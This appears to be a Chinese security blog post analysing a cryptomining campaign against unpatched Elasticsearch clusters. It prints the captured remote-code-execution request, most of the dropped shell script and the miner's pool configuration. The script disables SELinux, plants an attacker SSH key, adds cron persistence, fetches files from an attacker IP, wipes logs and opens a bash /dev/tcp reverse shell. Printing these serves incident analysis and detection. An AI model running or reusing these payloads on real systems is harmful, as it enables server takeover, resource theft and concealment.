利用ElasticSearch漏洞挖矿案例分析
导语:在开两会的前期,保证国家各个方面的稳定的事都提到日程上来,政府部门对互联网公司的监控也进入了严打阶段。在这样的大背景下,公司内部也对包括公共安全信息泄露做了一次大的排查,在此过程中,发现了一些案例,分享给大家。
0x00、前言
在开两会的前期,保证国家各个方面的稳定的事都提到日程上来,政府部门对互联网公司的监控也进入了严打阶段。在这样的大背景下,公司内部也对包括公共安全信息泄露做了一次大的排查,在此过程中,发现了一些案例,分享给大家。
0x01、入侵手段
对于mongodb、redis等数据库的攻击已经讲的非常多了,今天给大家分享的是针对不安全的Elasticsearch集群的攻击。这些攻击利用CVE-2014-3120和CVE-2015-1427。这两种攻击仅存在于旧版本的Elasticsearch中,并利用将脚本传递给搜索查询的能力。把有效攻击载荷存储在里面并且执行。
态势感知-网络入侵防护系统中,对相关的入侵有检测功能,策略如下:
1、ET WEB_SERVER Possible CVE-2014-3120 Elastic Search Remote Code Execution Attempt
2、ET WEB_SERVER Possible CVE-2015-1427 Elastic Search Sandbox Escape Remote Code Execution Attempt
通过入侵检测系统,可以获取到有效的入侵载荷。
"POST /_search?pretty HTTP/1.1 Host: xxx.xx.113.xxx:9200 User-Agent: Go-http-client/1.1\r\nContent-Length: 208 Connection: close\r\nAccept-Encoding: gzip { "size": 1, "script_fields": { "lupin": { "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/uuu.sh -P /tmp/sssooo\").getText()" } } }
我们分析一下攻击载荷都干了什么事。
1、关闭SElinux,干掉现有挖矿进程
#!/bin/sh setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null ... mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/url ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9 ... pkill -f biosetjenkins pkill -f Loopback pkill -f apaceha pkill -f cryptonight pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f minexmr ...
2、在crontab添加定时升级程序,添加自己C2主机的ssh key,下载挖矿配置文件,配置防火墙、删除日志、开启反弹shell。
if [ -f "$rtdir" ] then echo "i am root" echo "goto 1" >> /etc/devtools chattr -i /etc/devtool* chattr -i /etc/config.json* chattr -i /etc/update.sh* chattr -i /root/.ssh/authorized_keys* chattr -i /etc/systemctI if [ -f "/usr/bin/crontab" ] then [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/10 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab - else echo "*/10 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir} fi chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPK+J+AIJvoCX67fFzfbNU5MT816KDmggltbgEI0hKZRdmMMe1ao/3CEgIzeqGbTff1suT/F1POUjGrf5t/ZqyIJzCIBKqNsxzM4tRNxrIGrqKnZypRlXdX+uZNaxmNJZGkkmtdeseekped0WnWk5SsvbYghBn4y9lZnsO+C1EgjLNWkbRPuoo/RkWTIXDmB7M7UcfYf+sSpApACt8DRydSEkeY709WtL0aANnN057Wnp/Okv+buM4mnkuteLtZvCAySt7PVBrCKyhItZx9VX/TMegljt/UPDaKfAeWF14Q1ORLRQkzZt9k+pY/ccNNbS53OmG0NhQ/awchmgXUpsP root@vultr.guest" >> /root/.ssh/authorized_keys cfg="/etc/config.json" file="/etc/devtool" if [-f "/etc/config.json" ] then filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'` if [ "$filesize_config" -ne "3629" ] then rm /etc/config.json if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/config.json > /etc/config.json elif [ -f "$bbdira" ] ... fi pkill -f devtool else echo "no need download" fi else ... fi iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP service iptables reload ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history bash -i >& /dev/tcp/207.148.70.143/8888 0>&1
3、挖矿配置文件
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 1, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 90, "pools": [ { "url": "xmr.f2pool.com:13531", "user": "83p6VPXu8SsZsH22EG9iQxg97M6K81Jft1CGXYwrVgkSa45KQm6Dau9HN6w3oroHKfJkzL2298CVD41eejCvJTd76Grq9wd.gbgbhft656561", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": 8, "tls": false, "tls-fingerprint": null }, { "url": "xmr.pool.minergate.com:45700", "user": "jbk665q8hws5vxv", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": 8, "tls": false, "tls-fingerprint": null } ], ...
攻击链分析:
1、CVE-2014-3120 / CVE-2015-1427 远程执行漏洞。
2、ssh key 文件变更 /contrab 文件变更。
3、反弹shell/执行挖矿进程。
0x02、防范措施
把以上攻击链分析,放置到大数据关联引擎中,自动化攻击匹配时间在1分钟之内。同时把有关联的数据加入到观察列表中,以备日后APT攻击分析。当然你也可以把这种确定的攻击和反制措施联动起来(防火墙、IPS、ACL等)。
发表评论